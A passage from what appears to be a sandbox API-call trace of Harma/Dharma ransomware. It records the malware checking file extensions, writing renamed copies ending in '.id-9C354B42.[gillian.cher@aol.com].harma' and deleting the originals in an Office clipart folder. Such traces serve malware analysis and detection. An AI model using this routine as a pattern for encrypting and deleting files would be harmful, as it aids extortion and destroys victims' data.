lpString2="_.WMF") returned -1 [0143.285] lstrlenW (lpString=".ppt") returned 4 [0143.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.285] lstrlenW (lpString=".zip") returned 4 [0143.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.286] lstrlenW (lpString=".rar") returned 4 [0143.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.286] lstrlenW (lpString=".bz2") returned 4 [0143.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.286] lstrlenW (lpString=".7z") returned 3 [0143.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.286] lstrlenW (lpString=".dbf") returned 4 [0143.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.286] lstrlenW (lpString=".1cd") returned 4 [0143.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0143.286] lstrlenW (lpString=".jpg") returned 4 [0143.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.286] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.286] lstrlenW (lpString="BD00173_.WMF") returned 12 [0143.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.287] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=16180) returned 1 [0143.287] CloseHandle (hObject=0x34c) returned 1 [0143.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0143.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.287] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.287] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0143.288] GetLastError () returned 0x0 [0143.288] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3f34, lpOverlapped=0x0) returned 1 [0143.529] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0143.530] ReadFile (in: hFile=0x34c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.530] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.530] SetEndOfFile (hFile=0x210) returned 1 [0143.566] CloseHandle (hObject=0x210) returned 1 [0143.577] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.577] SetEndOfFile (hFile=0x34c) returned 1 [0143.820] CloseHandle (hObject=0x34c) returned 1 [0143.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0144.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.084] lstrlenW (lpString=".doc") returned 4 [0144.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.084] lstrlenW (lpString=".docx") returned 5 [0144.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.084] lstrlenW (lpString=".pdf") returned 4 [0144.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.084] lstrlenW (lpString=".xls") returned 4 [0144.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.084] lstrlenW (lpString=".xlsx") returned 5 [0144.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.084] lstrlenW (lpString=".ppt") returned 4 [0144.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.084] lstrlenW (lpString=".zip") returned 4 [0144.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.084] lstrlenW (lpString=".rar") returned 4 [0144.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.084] lstrlenW (lpString=".bz2") returned 4 [0144.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.084] lstrlenW (lpString=".7z") returned 3 [0144.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.084] lstrlenW (lpString=".dbf") returned 4 [0144.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString=".1cd") returned 4 [0144.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString=".jpg") returned 4 [0144.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString=".doc") returned 4 [0144.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString=".docx") returned 5 [0144.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.085] lstrlenW (lpString=".pdf") returned 4 [0144.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString=".xls") returned 4 [0144.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.085] lstrlenW (lpString=".xlsx") returned 5 [0144.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.085] lstrlenW (lpString=".ppt") returned 4 [0144.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString=".zip") returned 4 [0144.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.085] lstrlenW (lpString=".rar") returned 4 [0144.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString=".bz2") returned 4 [0144.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.085] lstrlenW (lpString=".7z") returned 3 [0144.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.085] lstrlenW (lpString=".dbf") returned 4 [0144.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.086] lstrlenW (lpString=".1cd") returned 4 [0144.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0144.086] lstrlenW (lpString=".jpg") returned 4 [0144.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.086] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.086] lstrlenW (lpString="BD08773_.WMF") returned 12 [0144.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0144.121] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=24778) returned 1 [0144.121] CloseHandle (hObject=0x330) returned 1 [0144.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0144.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0144.188] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.188] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.189] GetLastError () returned 0x0 [0144.189] ReadFile (in: hFile=0x358, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x60ca, lpOverlapped=0x0) returned 1 [0144.213] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0144.214] ReadFile (in: hFile=0x358, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.214] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.214] SetEndOfFile (hFile=0x368) returned 1 [0144.214] CloseHandle (hObject=0x368) returned 1 [0144.215] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.215] SetEndOfFile (hFile=0x358) returned 1 [0144.220] CloseHandle (hObject=0x358) returned 1 [0144.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0144.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.332] lstrlenW (lpString=".doc") returned 4 [0144.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.332] lstrlenW (lpString=".docx") returned 5 [0144.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.332] lstrlenW (lpString=".pdf") returned 4 [0144.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.332] lstrlenW (lpString=".xls") returned 4 [0144.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.332] lstrlenW (lpString=".xlsx") returned 5 [0144.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.332] lstrlenW (lpString=".ppt") returned 4 [0144.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.332] lstrlenW (lpString=".zip") returned 4 [0144.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.332] lstrlenW (lpString=".rar") returned 4 [0144.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString=".bz2") returned 4 [0144.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString=".7z") returned 3 [0144.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString=".dbf") returned 4 [0144.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString=".1cd") returned 4 [0144.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString=".jpg") returned 4 [0144.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString=".doc") returned 4 [0144.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString=".docx") returned 5 [0144.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.333] lstrlenW (lpString=".pdf") returned 4 [0144.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString=".xls") returned 4 [0144.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.333] lstrlenW (lpString=".xlsx") returned 5 [0144.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.333] lstrlenW (lpString=".ppt") returned 4 [0144.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.333] lstrlenW (lpString=".zip") returned 4 [0144.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.333] lstrlenW (lpString=".rar") returned 4 [0144.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.334] lstrlenW (lpString=".bz2") returned 4 [0144.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.334] lstrlenW (lpString=".7z") returned 3 [0144.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.334] lstrlenW (lpString=".dbf") returned 4 [0144.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.334] lstrlenW (lpString=".1cd") returned 4 [0144.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0144.334] lstrlenW (lpString=".jpg") returned 4 [0144.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.334] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.334] lstrlenW (lpString="BD09662_.WMF") returned 12 [0144.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.335] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20554) returned 1 [0144.335] CloseHandle (hObject=0x214) returned 1 [0144.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0144.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.335] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.335] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.336] GetLastError () returned 0x0 [0144.336] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x504a, lpOverlapped=0x0) returned 1 [0144.340] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5050, lpOverlapped=0x0) returned 1 [0144.341] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.341] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.341] SetEndOfFile (hFile=0x328) returned 1 [0144.341] CloseHandle (hObject=0x328) returned 1 [0144.341] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.341] SetEndOfFile (hFile=0x214) returned 1 [0144.348] CloseHandle (hObject=0x214) returned 1 [0144.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0144.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.349] lstrlenW (lpString=".doc") returned 4 [0144.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.349] lstrlenW (lpString=".docx") returned 5 [0144.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.349] lstrlenW (lpString=".pdf") returned 4 [0144.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.349] lstrlenW (lpString=".xls") returned 4 [0144.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.349] lstrlenW (lpString=".xlsx") returned 5 [0144.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.349] lstrlenW (lpString=".ppt") returned 4 [0144.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString=".zip") returned 4 [0144.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.350] lstrlenW (lpString=".rar") returned 4 [0144.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString=".bz2") returned 4 [0144.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString=".7z") returned 3 [0144.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString=".dbf") returned 4 [0144.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString=".1cd") returned 4 [0144.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString=".jpg") returned 4 [0144.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.350] lstrlenW (lpString=".doc") returned 4 [0144.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString=".docx") returned 5 [0144.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.350] lstrlenW (lpString=".pdf") returned 4 [0144.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.350] lstrlenW (lpString=".xls") returned 4 [0144.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.350] lstrlenW (lpString=".xlsx") returned 5 [0144.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.350] lstrlenW (lpString=".ppt") returned 4 [0144.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0144.351] lstrlenW (lpString=".zip") returned 4 [0144.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.351] lstrlenW (lpString=".rar") returned 4 [0144.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.351] lstrlenW (lpString=".bz2") returned 4 [0144.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.351] lstrlenW (lpString=".7z") returned 3 [0144.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.351] lstrlenW 